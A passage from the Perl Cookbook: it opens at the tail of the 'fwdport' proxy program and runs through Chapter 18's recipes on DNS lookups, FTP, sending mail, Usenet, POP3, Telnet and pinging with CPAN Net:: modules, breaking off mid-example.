        die "Cannot fork" unless defined $kidpid;
        if ($kidpid) {
            $Children{$kidpid} = time();            # remember his start time
            close $remote_server;                   # no use to master
            close $local_client;                    # likewise
            next;                                   # go get another client
        }

        # at this point, we are the forked child process dedicated
        # to the incoming client.  but we want a twin to make i/o
        # easier.

        close $proxy_server;                        # no use to slave

        $kidpid = fork();
        die "Cannot fork" unless defined $kidpid;

        # now each twin sits around and ferries lines of data.
        # see how simple the algorithm is when you can have
        # multiple threads of control?

        # this is the fork's parent, the master's child
        if ($kidpid) {
            set_state("$rs_info --> $lc_info");
            select($local_client); $| = 1;
            print while <$remote_server>;
            kill('TERM', $kidpid);      # kill my twin cause we're done
            }
        # this is the fork's child, the master's grandchild
        else {
            set_state("$rs_info <-- $lc_info");
            select($remote_server); $| = 1;
            print while <$local_client>;
            kill('TERM', getppid());    # kill my twin cause we're done
        }
        exit;                           # whoever's still alive bites it
    } continue {
        accepting();
    }
}

# helper function to produce a nice string in the form HOST:PORT
sub peerinfo {
    my $sock = shift;
    my $hostinfo = gethostbyaddr($sock->peeraddr);
    return sprintf("%s:%s",
                    $hostinfo->name || $sock->peerhost,
                    $sock->peerport);
}

# reset our $0, which on some systems make "ps" report
# something interesting: the string we set $0 to!
sub set_state { $0 = "$ME [@_]" }

# helper function to call set_state
sub accepting {
    set_state("accepting proxy for " . ($REMOTE || $SERVICE));
}

# somebody just died.  keep harvesting the dead until
# we run out of them.  check how long they ran.
sub REAPER {
    my $child;
    my $start;
    while (($child = waitpid(-1,WNOHANG)) > 0) {
        if ($start = $Children{$child}) {
            my $runtime = time() - $start;
            printf "Child $child ran %dm%ss\n",
                $runtime / 60, $runtime % 60;
            delete $Children{$child};
        } else {
            print "Bizarre kid $child exited $?\n";
        }
    }
    # If I had to choose between System V and 4.2, I'd resign. --Peter Honeyman
    $SIG{CHLD} = \&REAPER;
};

See Also

Getopt::Long (3), Net::hostent (3), IO::Socket (3), POSIX (3), Recipe 16.19, Recipe 17.10

Previous: 17.17. Program: backsniff | Perl Cookbook | Next: 18. Internet Services
17.17. Program: backsniff | Book Index | 18. Internet Services


[Chapter 18] Internet Services

Perl CookbookSearch this book
Previous: 17.18. Program: fwdport Chapter 18 Next: 18.1. Simple DNS Lookups

18. Internet Services

Contents:
Introduction
Simple DNS Lookups
Being an FTP Client
Sending Mail
Reading and Posting Usenet News Messages
Reading Mail with POP3
Simulating Telnet from a Program
Pinging a Machine
Using Whois to Retrieve Information from the InterNIC
Program: expn and vrfy

This "telephone" has too many shortcomings to be seriously considered as a means of communication. The device is inherently of no value to us.

- - Western Union internal memo, 1876

18.0. Introduction

Correct use of sockets is only part of network communicating programs. Once you have a way for two programs to talk, you still need a protocol for communication. This protocol lets each party know when to talk, and it precisely defines who is responsible for which part of the service.

Common Internet protocols are:

Protocol | Meaning | Action
FTP | File Transfer Protocol | Copying files between remote machines
telnet |  | Remote login
rsh and rcp | Remote shell and Remote copy | Remote login and remote file copying
NNTP | Network News Transfer Protocol | Reading and posting USENET news
HTTP | Hypertext Transfer Protocol | Transferring documents on the Web
SMTP | Simple Mail Transfer Protocol | Sending mail
POP3 | Post Office Protocol | Reading mail

Even something as relatively simple as connecting to a remote computer requires intricate negotiations between client and server and has numerous dynamically configurable options. If you had to write the Perl code to implement these protocols each time you wanted to use a network service, you'd probably end up writing a lot of buggy programs, try to get demoted into a management position, or both.

Fortunately, CPAN has modules for these protocols. Most modules implement the client side of the protocol rather than the server side. This means your program can use these modules to send mail, but not to be a mail server that other clients connect to; to read and post news, but not be a news server that other clients connect to; to transfer files to and from an FTP server, but not to be an FTP server that other clients connect to; and so on.

Most of these modules fall under the Net:: hierarchy. We'll be using Net::FTP to send and receive files using FTP, Net::NNTP to read and post Usenet news, Net::Telnet to simulate a connection to another machine, Net::Whois to find out information about a domain name, Net::Ping to check whether a machine is alive, and Net::POP3 and Mail::Mailer to receive and send mail. We deal with the CGI protocol in Chapter 19, CGI Programming, and HTTP in Chapter 20, Web Automation.

You can thank Graham Barr for most of these modules, whose IO::Socket modules we used for low-level network communication in Chapter 17, Sockets. He wrote Net::FTP, Net::NNTP, Net::POP3, and Mail::Mailer. Jay Rogers wrote Net::Telnet, and Chip Salzenberg wrote Net::Whois. Thank these folks that you don't have to reinvent these tricky wheels!

Previous: 17.18. Program: fwdport | Perl Cookbook | Next: 18.1. Simple DNS Lookups
17.18. Program: fwdport | Book Index | 18.1. Simple DNS Lookups


Recipe 18.1. Simple DNS Lookups

Perl CookbookSearch this book

18.1. Simple DNS Lookups

Problem

You want to find the IP address of a host or turn an IP address into a name. Network servers do this to authenticate their clients, and clients do it when the user gives them a hostname but Perl's socket library requires an IP address. Furthermore, many servers produce log files containing IP addresses, but hostnames are more useful to analysis software and humans.

Solution

If you have a name like www.perl.com, use gethostbyname if you want all the addresses:

use Socket;

@addresses = gethostbyname($name)   or die "Can't resolve $name: $!\n";
@addresses = map { inet_ntoa($_) } @addresses[4 .. $#addresses];
# @addresses is a list of IP addresses ("208.201.239.48", "208.201.239.49")

Or, use inet_aton if you only need the first:

use Socket;

$address = inet_ntoa(inet_aton($name));
# $address is a single IP address "208.201.239.48"

If you have an IP address like "208.201.239.48", use:

use Socket;

$name = gethostbyaddr(inet_aton($address), AF_INET)
            or die "Can't resolve $address: $!\n";
# $name is the hostname ("www.perl.com")

Discussion

This process is complicated because the functions are mere wrappers for the C system calls, so this means you have to convert IP addresses from ASCII strings ("208.146.240.1") into their C structures. The standard Socket module gives you inet_aton to convert from ASCII to the packed numeric format and inet_ntoa to convert back:

use Socket;
$packed_address = inet_aton("208.146.140.1");
$ascii_address  = inet_ntoa($packed_address);

The gethostbyname function takes a string containing the hostname (or IP address). In scalar context, it returns the IP address of the remote host suitable for passing to inet_ntoa (or undef on error). In list context, it returns a list of at least five elements (or an empty list in case of error). The returned list is:

Index | Meaning
0 | Official name of host
1 | Aliases (space-separated string)
2 | Address Type (normally AF_INET)
3 | Length of Address Structure (irrelevant)
4,5, ... | Address Structures

A hostname may have more than one address, particularly busy web sites, where many machines serve identical web pages to share the load. In such situations, the DNS server that provides you the addresses rotates them to balance the load. If you need to pick an IP address to connect to, it is sufficient to always select the first (but if it doesn't work, try the rest as well):

$packed = gethostbyname($hostname)
            or die "Couldn't resolve address for $hostname: $!\n";
$address = inet_ntoa($packed);
print "I will use $address as the address for $hostname\n";

If you're using hostnames to permit or refuse access to a service, be careful. Anyone can set their DNS server to identify their machine as www.whitehouse.gov, www.yahoo.com , or this.is.not.funny. You can't know whether the machine really has the name it claims to have until you use gethostbyname and check that the original address is in the address list for the name.

# $address is the IP address I'm checking, like "128.138.243.20"
use Socket;
$name    = gethostbyaddr(inet_aton($address), AF_INET)
                or die "Can't look up $address : $!\n";
@addr    = gethostbyname($name)
                or die "Can't look up $name : $!\n";
$found   = grep { $address eq inet_ntoa($_) } @addr[4..$#addr];

It turns out that even with this algorithm, you can't be absolutely sure of the name due to a variety of methods that can be used to circumvent even this technique. Even the IP address from which the packets appear to be coming can be spoofed, so you shouldn't ever rely on the network layer for authentication. Always do authentication yourself (with passwords, or cryptographic challenges) when it really matters, because the IPv4 network was not designed to provide security.

More information is kept about a host than just addresses and aliases. To fully access this information, use the Net::DNS module from CPAN. For instance, Example 18.1 shows how to retrieve the MX (mail exchange) records for an arbitrary host.

Example 18.1: mxhost

 #!/usr/bin/perl
 # mxhost - find mx exchangers for a host
 use Net::DNS;

 $host = shift;
 $res = Net::DNS::Resolver->new();
 @mx = mx($res, $host)
    or die "Can't find MX records for $host (".$res->errorstring.")\n";

 foreach $record (@mx) {
     print $record->preference, " ", $record->exchange, "\n";
 }

Here's some output:

% mxhost cnn.com
10 mail.turner.com
30 alfw2.turner.com

The inet_aton function takes a string containing a hostname or IP address, as does gethostbyname, but it only returns the first IP address for the host. If you want to find them all, you'll need to add some more code. The Net::hostent provides for by-name access that will let you do that. Example 18.2 shows an example of its use.

Example 18.2: hostaddrs

#!/usr/bin/perl
# hostaddrs - canonize name and show addresses
use Socket;
use Net::hostent;
$name = shift;
if ($hent = gethostbyname($name)) {
    $name      = $hent->name;                # in case different
    $addr_ref  = $hent->addr_list;
    @addresses = map { inet_ntoa($_) } @$addr_ref;
}
print "$name => @addresses\n";

Here's the output:

% hostaddrs www.ora.com
helio.ora.com => 204.148.40.9

% hostaddrs www.whitehouse.gov
www.whitehouse.gov => 198.137.240.91 198.137.240.92

See Also

The gethostbyname and gethostbyaddr functions in Chapter 3 of Programming Perl and in perlfunc (1); the documentation for the Net::DNS module from CPAN; the documentation for the standard Socket and Net::hostent modules

Previous: 18.0. Introduction | Perl Cookbook | Next: 18.2. Being an FTP Client
18.0. Introduction | Book Index | 18.2. Being an FTP Client


Recipe 18.2. Being an FTP Client

Perl CookbookSearch this book

18.2. Being an FTP Client

Problem

You want to connect to an FTP server and get or put files. You might want to automate the one-time transfer of many files or automatically mirror an entire section of an FTP server, for example.

Solution

Use the CPAN module Net::FTP:

use Net::FTP;

$ftp = Net::FTP->new("ftp.host.com")    or die "Can't connect: $@\n";
$ftp->login($username, $password)       or die "Couldn't login\n";
$ftp->cwd($directory)                   or die "Couldn't change directory\n";
$ftp->get($filename)                    or die "Couldn't get $filename\n";
$ftp->put($filename)                    or die "Couldn't put $filename\n";

Discussion

Using the Net::FTP module is a three-part process: connect to a server, identify and authenticate yourself, and transfer files. All interaction with the FTP server happens through method calls on a Net::FTP object. If an error occurs, methods return undef in scalar context or an empty list in list context.

The connection is established with the new constructor. If an error occurs, $@ is set to an error message and new returns undef. The first argument is the hostname of the FTP server and is optionally followed by named options:

$ftp = Net::FTP->new("ftp.host.com",
                     Timeout => 30,
                     Debug   => 1)
    or die "Can't connect: $@\n";

The Timeout option gives the number of seconds all operations wait before giving up. Debug sets the debugging level (non-zero sends copies of all commands to STDERR). Firewall takes a string as an argument, specifying the machine acting as an FTP proxy. Port lets you specify an alternate port number (the default is 21, the standard port for FTP). Finally, if the Passive option is set to true, all transfers are done passively (some firewalls and proxies require this). The Firewall and Passive options override the environment variables FTP_FIREWALL and FTP_PASSIVE.

Having connected, the next step is to authenticate. Normally, you'll want to call login with up to three arguments: username, password, and account.

$ftp->login()
    or die "Couldn't authenticate.\n";

$ftp->login($username)
    or die "Still couldn't authenticate.\n";

$ftp->login($username, $password)
    or die "Couldn't authenticate, even with explicit username
            and password.\n";

$ftp->login($username, $password, $account)
    or die "No dice.  It hates me.\n";

If you call login with no arguments, Net::FTP uses the Net::Netrc module to find settings for the host you've connected to. If none are found there, anonymous login is attempted (username anonymous, password username@hostname). If no password is given and the username anonymous is used, the user's mail address is supplied as the password. The optional account argument is not used on most systems. If the authentication fails, login returns undef.

Once authenticated, the usual FTP commands are available as methods called on your Net::FTP object. The get and put methods fetch and send files. To send a file, use:

$ftp->put($localfile, $remotefile)
    or die "Can't send $localfile: $!\n";

If you omit the second argument, the remote file will have the same name as the local file. You can also send from a filehandle (in which case the remote filename must be given as the second argument):

$ftp->put(*STDIN, $remotefile)
    or die "Can't send from STDIN: $!\n";

If the transfer is interrupted, the remote file is not automatically deleted. The put method returns the remote filename if it succeeded, or undef if an error occurred.

To fetch a file, use the get method, which returns the local filename, or undef if there was an error:

$ftp->get($remotefile, $localfile)
    or die "Can't fetch $remotefile : $!\n";

You can also get into a filehandle, in which case the filehandle is returned (or undef if there was an error):

$ftp->get($remotefile, *STDOUT)
    or die "Can't fetch $remotefile: $!\n";

Pass get an optional third argument, an offset into the remote file, to begin the transfer at that offset. Received bytes are appended to the local file.

The type method changes the file translation mode. Pass it a string ("A", "I", "E", or "L") and it will return the previous translation mode. The ascii, binary, ebcdic, and byte methods call type with the appropriate string. If an error occurs (the FTP server does not do EBCDIC, for example), type and its helper methods return undef.

Use cwd($remotedir) and pwd to set and fetch the current remote directory. They both return true if successful, false otherwise. If you cwd(".."), the cdup method is called to change the directory to the parent of the current directory. Call cwd without an argument to change to the root directory.

$ftp->cwd("/pub/perl/CPAN/images/g-rated");
print "I'm in the directory ", $ftp->pwd(), "\n";

mkdir($remotedir) and rmdir($remotedir) make and delete directories on the remote machine. You have the built-in mkdir and rmdir functions to make and delete directories on the local machine. To create all directories up to the given directory, pass a true second argument to mkdir. For instance, if you want to make /pub, /pub/gnat, and /pub/gnat/perl, say:

   $ftp->mkdir("/pub/gnat/perl", 1)
    or die "Can't create /pub/gnat/perl recursively: $!\n";

If mkdir succeeds, the full path to the newly created directory is returned. If it fails, mkdir returns undef.

The ls and dir methods get a list of files in a remote directory. Traditionally, dir gives you a more verbose listing than ls, but neither has a standard format. Most Unix FTP servers return the output of ls and ls -l respectively, but you can't guarantee that behavior from every FTP server. These methods, in list context, return the list of lines returned by the server. In scalar context, they return a reference to an array.

@lines = $ftp->ls("/pub/gnat/perl")
    or die "Can't get a list of files in /pub/gnat/perl: $!";
$ref_to_lines = $ftp->dir("/pub/perl/CPAN/src/latest.tar.gz")
    or die "Can't check status of latest.tar.gz: $!\n";

When you're done and want to close up gracefully, use the quit method:

$ftp->quit()    or warn "Couldn't quit.  Oh well.\n";

Other methods rename, change ownership and permissions of remote files, check the size of the remote file, and so on. Read the Net::FTP documentation for details.

If you want to mirror files between machines, use the excellent mirror program written in Perl by Lee McLoughlin. Look for it on the Web at http://sunsite.doc.ic.ac.uk/packages/mirror/.

See Also

Your system's ftp (1) and ftpd (8) manpages (if you have them); the documentation for the Net::FTP module from CPAN

Previous: 18.1. Simple DNS Lookups | Perl Cookbook | Next: 18.3. Sending Mail
18.1. Simple DNS Lookups | Book Index | 18.3. Sending Mail


Recipe 18.3. Sending Mail

Perl CookbookSearch this book

18.3. Sending Mail

Problem

You want your program to send mail. Some programs monitor system resources like disk space and notify appropriate people by mail when disk space becomes dangerously low. CGI script authors may not want their programs to report errors like "the database is down" to the user, preferring instead to send mail to the database administrator notifying them of the problem.

Solution

Use the CPAN module Mail::Mailer:

use Mail::Mailer;

$mailer = Mail::Mailer->new("sendmail");
$mailer->open({ From    => $from_address,
                To      => $to_address,
                Subject => $subject,
              })
    or die "Can't open: $!\n";
print $mailer $body;
$mailer->close();

Or, use the sendmail program directly:

open(SENDMAIL, "|/usr/lib/sendmail -oi -t -odq")
                    or die "Can't fork for sendmail: $!\n";
print SENDMAIL <<"EOF";
From: User Originating Mail <me\@host>
To: Final Destination <you\@otherhost>
Subject: A relevant subject line

Body of the message goes here, in as many lines as you like.
EOF
close(SENDMAIL)     or warn "sendmail didn't close nicely";

Discussion

You have three choices for sending mail from your program. You can use another program that users normally use to send mail, like Mail or mailx ; these are called MUAs or Mail User Agents. You can use a system-level mail program like sendmail ; this is an MTA, or Mail Transport Agent. Or you can connect to an SMTP (Simple Mail Transfer Protocol) server. Unfortunately, there's no standard user-level mail program, sendmail doesn't have a standard location, and SMTP isn't particularly simple. The CPAN module Mail::Mailer hides these complexities from you.

When Mail::Mailer is installed, it looks for mail, Mail, and other names mail-sending programs tend to hide under. It also looks in common locations for sendmail. When you create a Mail::Mailer object, you get convenient access to those programs (and SMTP mail servers) without needing to know their argument structure or how they return errors.

Create a Mail::Mailer object with Mail::Mailer->new. If you don't pass any arguments, it uses the default mail sending method (probably a program like mail ). Arguments to new let you pick an alternative way of sending the message. The first argument is the type of delivery method ("mail" for a Unix mail user agent, "sendmail" for sendmail, and "smtp" to open a connection to an SMTP server). The optional second argument is the path to the program.

For instance, here is how to instruct Mail::Mailer to use sendmail instead of its default:

$mailer = Mail::Mailer->new("sendmail");

Here's how to tell it to use /u/gnat/bin/funkymailer instead of mail:

$mailer = Mail::Mailer->new("mail", "/u/gnat/bin/funkymailer");

Here's how to use SMTP with the machine mail.myisp.com as the mail server:

$mailer = Mail::Mailer->new("smtp", "mail.myisp.com");

If an error occurs at any part of Mail::Mailer, die is called. This means if you want to check for errors, you need to wrap your mail-sending code in eval and check $@ afterward:

eval {
    $mailer = Mail::Mailer->new("bogus", "arguments");
    # ...
};
if ($@) {
    # the eval failed
    print "Couldn't send mail: $@\n";
} else {
    # the eval succeeded
    print "The authorities have been notified.\n";
}

The new constructor raises an exception if you provide arguments it doesn't understand or if you specify no arguments and it doesn't have a default method. Mail::Mailer won't run a program or connect to the SMTP server until you call the open method with the headers of the message:

$mailer->open( 'From'    => 'Nathan Torkington <gnat@frii.com>',
               'To'      => 'Tom Christiansen <tchrist@perl.com>',
               'Subject' => 'The Perl Cookbook' );

The open method raises an exception if the program or server couldn't be opened. If open succeeds, you may treat $mailer as a filehandle and print the body of your message to it:

print $mailer <<EO_SIG;
Are we ever going to finish this book?
My wife is threatening to leave me.
She says I love EMACS more than I love her.
Do you have a recipe that can help me?

Nat
EO_SIG

When you're done, call the close function on the Mail::Mailer object:

close($mailer)                      or die "can't close mailer: $!";

If you want to go it alone and communicate with sendmail directly, use something like this:

open(SENDMAIL, "|/usr/sbin/sendmail -oi -t -odq")
            or die "Can't fork for sendmail: $!\n";
print SENDMAIL <<"EOF";
From: Tom Christiansen <tchrist\@perl.com>
To: Nathan Torkington <gnat\@frii.com>
Subject: Re: The Perl Cookbook

(1) We will never finish the book.
(2) No man who uses EMACS is deserving of love.
(3) I recommend coq au vi.

tom
EOF
close(SENDMAIL);

This is a straightforward use of open to run another program (see Recipe 16.4). You need to specify the full path to sendmail because its location varies from machine to machine. It is often found in places like /usr/lib or /usr/sbin. The flags we give to sendmail say to not exit when a line with only a dot is read (-oi), to read the headers of the message to decide whom to send it to (-t), and to insert the message into the queue instead of attempting to deliver it immediately (-odq). This last option is only important when you're sending a lot of mail - omitting it would quickly swamp the machine with sendmail processes. If you want immediate delivery of your message (for instance, you're testing your program or the mail is urgent) remove -odq from the command line.

We print an entire message, headers and then body, separated by a blank line. There are no special escapes to insert new lines (as some user mail programs have), so all text is literal. sendmail adds headers like Date and Message-ID (which you shouldn't generate yourself anyway).

Some ports of Perl (Windows and Mac particularly) don't have sendmail or mail to use. In these cases, you should find an SMTP server you can send mail through.

See Also

The open function in Chapter 3 of Programming Perl and in perlfunc (1); Recipe 16.4; Recipe 16.10; Recipe 16.19; Recipe 19.6; the RFCs dictating the SMTP protocol, RFC 821, Simple Mail Transfer Protocol, as amended by later RFCs

Previous: 18.2. Being an FTP Client | Perl Cookbook | Next: 18.4. Reading and Posting Usenet News Messages
18.2. Being an FTP Client | Book Index | 18.4. Reading and Posting Usenet News Messages


Recipe 18.4. Reading and Posting Usenet News Messages

Perl CookbookSearch this book

18.4. Reading and Posting Usenet News Messages

Problem

You want to connect to a Usenet news server to read and post messages. Your program could send a periodic posting to a newsgroup,[1] summarize a newsgroup, or identify first-time contributors in a newsgroup so you can send them a helpful welcome message.

[1] If so, be sure to check out Ian Kluft's auto-faq program at http://www.novia.net/~pschleck/auto-faq/.

Solution

Use the CPAN module Net::NNTP:

use Net::NNTP;

$server = Net::NNTP->new("news.host.dom")
    or die "Can't connect to news server: $@\n";
($narticles, $first, $last, $name) = $server->group( "misc.test" )
    or die "Can't select misc.test\n";
$headers  = $server->head($first)
    or die "Can't get headers from article $first in $name\n";
$bodytext = $server->body($first)
    or die "Can't get body from article $first in $name\n";
$article  = $server->article($first)
    or die "Can't get article $first from $name\n";

$server->postok()
    or warn "Server didn't tell me I could post.\n";

$server->post( [ @lines ] )
    or die "Can't post: $!\n";

Discussion

Usenet is a distributed news system. Servers exchange messages to ensure that each server gets all the messages for the newsgroups it carries. Each server sets its own expiration criteria to decide how long messages stay on the server. Client newsreaders connect to their designated server (usually belonging to their company, ISP, or university) and can read existing postings and contribute new ones.

Each message (or article, as they're also known) has a set of headers and a body, separated by a blank line. Articles are identified in two ways: the message ID header and an article number within a newsgroup. An article's message ID is stored in the message itself and is guaranteed to be unique no matter which news server the article was read from. When an article references others, it does so by message ID. A message ID is a string like:

<0401@jpl-devvax.JPL.NASA.GOV>

An article can also be identified by a newsgroup and an article number within the group. Each news server assigns its own article numbers to the articles it has, so they're only guaranteed to be good for the news server you got them from.

The Net::NNTP constructor connects to the specified news server. If the connection couldn't be made, it returns undef and sets $@ to an error message. If the connection was successfully made, new returns a new Net::NNTP object:

$server = Net::NNTP->new("news.mycompany.com")
    or die "Couldn't connect to news.mycompany.com: $@\n";

Once connected, you can get a list of newsgroups with the list method. This returns a reference to a hash whose keys are newsgroup names. Each value is a reference to an array consisting of the first valid article number in the group, the last valid article number in the group, and a string of flags. The flags are typically "y", meaning you may post, but could be "m" for moderated or =NAME, meaning that the group is an alias for the newsgroup NAME. There are over 17,000 newsgroups that your server might carry, so fetching a list of all the groups can take a while.

$grouplist = $server->list()
    or die "Couldn't fetch group list\n";

foreach $group (keys %$grouplist) {
    if ($grouplist->{$group}->[2] eq 'y') {
        # I can post to $group
    }
}

Much as FTP has the concept of a current directory, the Network News Transfer Protocol (NNTP) has the concept of a current group. Make a group the current group with the group method:

($narticles, $first, $last, $name) = $server->group("comp.lang.perl.misc")
    or die "Can't select comp.lang.perl.misc\n";

The group method returns a four-element list: the number of articles in the group, the first article number, the last article number, and the name of the group. If the group does not exist, it returns an empty list.

There are two ways to retrieve articles: call article with a message ID, or select a group with group and then call article with an article number. In scalar context, it returns a reference to an array of lines. In list context, article returns a list of lines. If an error occurs, article returns false:

@lines = $server->article($message_id)
    or die "Can't fetch article $message_id: $!\n";

You can fetch an article's header or body with the head and body methods. Like article, these methods take an article number or message ID, and return a list of lines or an array reference.

@group = $server->group("comp.lang.perl.misc")
    or die "Can't select group comp.lang.perl.misc\n";
@lines = $server->head($group[1])
    or die "Can't get headers from first article in comp.lang.perl.misc\n";

To post an article, use the post method. Give it a list of lines or a reference to an array of lines, and it returns true if the post succeeded, false if the article couldn't be posted.

$server->post(@message)
    or die "Can't post\n";

Use the postok method to find out whether the server said that you may post:

unless ($server->postok()) {
    warn "You may not post.\n";
}

Read the manpage for Net::NNTP for a complete list of methods.

See Also

The documentation for the Net::NNTP module from CPAN; RFC 977, Network News Transfer Protocol ; your system's trn (1) and innd (8) manpages (if you have them)

Previous: 18.3. Sending Mail | Perl Cookbook | Next: 18.5. Reading Mail with POP3
18.3. Sending Mail | Book Index | 18.5. Reading Mail with POP3


Recipe 18.5. Reading Mail with POP3

Perl CookbookSearch this book

18.5. Reading Mail with POP3

Problem

You want to fetch mail from a POP3 server. This lets you write a program to summarize your unread mail, move it from a remote server to a local mailbox, or toggle between Internet and local mail systems.

Solution

Use the CPAN module Net::POP3:

$pop = Net::POP3->new($mail_server)
    or die "Can't open connection to $mail_server : $!\n";
defined ($pop->login($username, $password))
    or die "Can't authenticate: $!\n";
$messages = $pop->list
    or die "Can't get list of undeleted messages: $!\n";
foreach $msgid (keys %$messages) {
    $message = $pop->get($msgid);
    unless (defined $message) {
        warn "Couldn't fetch $msgid from server: $!\n";
        next;
    }
    # $message is a reference to an array of lines
    $pop->delete($msgid);
}

Discussion

Traditionally, mail has been a three-party system: the MTA (Mail Transport Agent, a system program like sendmail) delivers mail to the spool, where it is read by the MUA (Mail User Agent, a program like mail). This dates from the days of big servers holding mail and users reading it through dumb terminals. As PCs and networks entered the picture, the need arose for MUAs like Pine to run on different machines than the one housing the spool. The Post Office Protocol (POP) implements efficient message listing, reading, and deleting over a TCP/IP session.

The CPAN module Net::POP3 is a POP client. That is, it lets your Perl program act as an MUA. The first step in using Net::POP3 is to create a new Net::POP3 object. Pass new the name of the POP3 server:

$pop = Net::POP3->new( "pop.myisp.com" )
    or die "Can't connect to pop.myisp.com: $!\n";

All Net::POP3 functions return undef or the empty list () if an error occurs, depending on the context they were called in. If an error occurs, $! may contain a meaningful error message (but also may not).

You may optionally pass further arguments to new in a hash-like fashion, indicating a timeout value (in seconds) for network operations:

$pop = Net::POP3->new( "pop.myisp.com",
                       Timeout => 30 )
    or die "Can't connect to pop.myisp.com : $!\n";

Authenticate yourself to the POP3 server with the login method. It takes two arguments, username and password, but both are optional. If the username is omitted, the current username is used. If the password is omitted, Net::POP3 tries to use Net::Netrc to find a password:

defined ($pop->login("gnat", "S33kr1T Pa55w0rD"))
    or die "Hey, my username and password didn't work!\n";

defined ($pop->login( "midget" ))           # use Net::Netrc to find password
    or die "Authentication failed.\n";

defined ($pop->login())                     # current username and Net::Netrc
    or die "Authentication failed.  Miserably.\n";

The login method sends the password in plain text across the network. This is undesirable, so if you have the MD5 module from CPAN, you can use the apop method. It works exactly like login, except that it encrypts the password:

$pop->apop( $username, $password )
    or die "Couldn't authenticate: $!\n";

Once authenticated, you may then access the spool with list, get, and delete. The list method gives you a list of undeleted messages in the spool. It returns a hash, where each key is a message number and each value is the size of the corresponding message in bytes:

%undeleted = $pop->list();
foreach $msgnum (keys %undeleted) {
    print "Message $msgnum is $undeleted{$msgnum} bytes long.\n";
}

To retrieve a message, call get with the message number. It returns a reference an array of lines in the message:

print "Retrieving $msgnum : ";
$message = $pop->get($msgnum);
if ($message) {
    # succeeded
    print "\n";
    print @$message;                # print the message
} else {
        # failed
    print "failed ($!)\n";
}

The delete method marks a message as deleted. When you call quit to terminate your POP3 session, the messages marked as deleted are removed from the mailbox. The reset method undoes any delete calls made during the session. If the session is terminated by the Net::POP3 object being destroyed because it went out of scope, the reset will be called automatically.

You have probably noticed there's no way to send mail. POP3 only supports reading and deleting existing messages. To send new ones, you still have to use programs like mail or sendmail, or do SMTP. In other words, you still need to use Recipe 18.3.

The task attempted by POP3 - connecting mail clients and mail servers - is also attempted by the IMAP protocol. IMAP has more features and is more typically seen on very large sites.

See Also

The documentation for the Net::POP3 module from CPAN; RFC 1734, POP3 AUTHentication command; RFC 1957, Some Observations on Implementations of the Post Office Protocol

Previous: 18.4. Reading and Posting Usenet News Messages | Perl Cookbook | Next: 18.6. Simulating Telnet from a Program
18.4. Reading and Posting Usenet News Messages | Book Index | 18.6. Simulating Telnet from a Program


Recipe 18.6. Simulating Telnet from a Program

Perl CookbookSearch this book

18.6. Simulating Telnet from a Program

Problem

You want to simulate a telnet connection from your program by logging into a remote machine, issuing commands, and reacting to what is sent. This has many applications, from automating tasks on machines you can telnet to but which don't support scripting or rsh, to simply testing whether a machine's telnet daemon is still running.

Solution

Use the CPAN module Net::Telnet:

use Net::Telnet;

$t = Net::Telnet->new( Timeout => 10,
                       Prompt  => '/%/',
                       Host    => $hostname );

$t->login($username, $password);
@files = $t->cmd("ls");
$t->print("top");
(undef, $process_string) = $t->waitfor('/\d+ processes/');
$t->close;

Discussion

Net::Telnet provides an object-oriented interface to the telnet protocol. Create a connection with Net::Telnet->new, and then interact with the remote machine using method calls on the resulting object.

Give the new method named parameters, passed in hash-like form. We'll only cover only a few of many possible parameters. The most important is Host, the machine you're telnetting to. The default host is localhost. If you want to telnet to a port other than one telnet normally uses, specify this in the Port option. Error handling is done through the function whose reference is specified in the Errmode parameter.

Another important option is Prompt. When you log in or run a command, Net::Telnet uses the Prompt pattern to determine when the login or command has completed. The default Prompt is:

/[\$%#>] $/

which matches the common shell prompts. If the prompt on the remote machine doesn't match the default pattern, you have to specify your own. Remember to include the slashes.

Timeout lets you control how long (in seconds) network operations wait before they give up. The default is 10 seconds.

If an error or timeout occurs in the Net::Telnet module, the default behavior is to raise an exception, which, if uncaught, prints a message to STDERR and exits. To change this, pass a subroutine reference to new in the Errmode argument. If instead of a code subroutine, you specify the string "return" as the Errmode, methods return undef (in scalar context) or an empty list (in list context) on error, with the error message available via the errmsg method:

$telnet = Net::Telnet->new( Errmode => sub { main::log(@_) }, ... );

The login method is used to send a username and password to the remote machine. It uses the Prompt to decide when the login is complete and times out if the machine doesn't reply with a prompt:

$telnet->login($username, $password)
    or die "Login failed: @{[ $telnet->errmsg() ]}\n";

To run a program and gather its output, use the cmd method. Pass it the string to send, and it returns the output of the command. In list context, it returns one line per list element. In scalar context, it returns one long line. It waits for the Prompt before returning.

You can separate the sending of the command from the reception of its output with the print and waitfor methods, as we do in the Solution. The waitfor method takes either a single string containing a Perl regular expression match operator:

$telnet->waitfor('/--more--/')

or named arguments. Timeout lets you specify a timeout to override the default, Match is a string containing a match operator as above, and String is a literal string to find:

$telnet->waitfor(String => 'greasy smoke', Timeout => 30)

In scalar context, waitfor returns true if the pattern or string was found. If it is not found, the Errmode action is performed. In list context, it returns two strings: all the text before the match, and the text that matched.

See Also

The documentation for the Net::Telnet module from CPAN; RFCs 854-856, as amended by later RFCs

Previous: 18.5. Reading Mail with POP3 | Perl Cookbook | Next: 18.7. Pinging a Machine
18.5. Reading Mail with POP3 | Book Index | 18.7. Pinging a Machine


Recipe 18.7. Pinging a Machine

Perl CookbookSearch this book

18.7. Pinging a Machine

Problem

You want to test whether a machine is alive. Network and system monitoring software often use the ping program as an indicator of availability.

Solution

Use the standard Net::Ping module:

use Net::Ping;

$p = Net::Ping->new()
    or die "Can't create new ping object: $!\n";
print "$host is alive" if $p->ping($host);
$p->close;

Discussion

Testing whether a machine is up isn't as easy as it sounds. It's not only possible but it's also unpleasantly common for machines to respond to the ping command and have no working services. It's better to think of a ping as testing whether a machine is reachable, rather than whether the machine is doing its job. To check the latter, you must try to use its services (telnet, FTP, web, NFS, etc).

In the form shown in the Solution, Net::Ping attempts to connect to the UDP echo port (port number 7) on the remote machine, send a datagram, and receive the echoed response. The machine is considered unreachable if it can't connect, if the reply datagram isn't received, or if the reply differs from the original datagram. The ping method returns true if the machine was reachable, false otherwise.

You can also ping using other protocols by passing the protocol name to new. Valid protocols are tcp, udp, and icmp (all lowercase). A TCP ping attempts to connect to the echo port (TCP port 7) on the remote machine, and returns true if the connection could be established, false otherwise (unlike UDP ping, no data is sent to be echoed). An ICMP ping uses the ICMP protocol, as does the ping (8) command. On Unix machines, you must be the superuser to use the ICMP protocol:

# use TCP if we're not root, ICMP if we are
$pong = Net::Ping->new( $> ? "tcp" : "icmp" );

(defined $pong)
    or die "Couldn't create Net::Ping object: $!\n";

if ($pong->ping("kingkong.com")) {
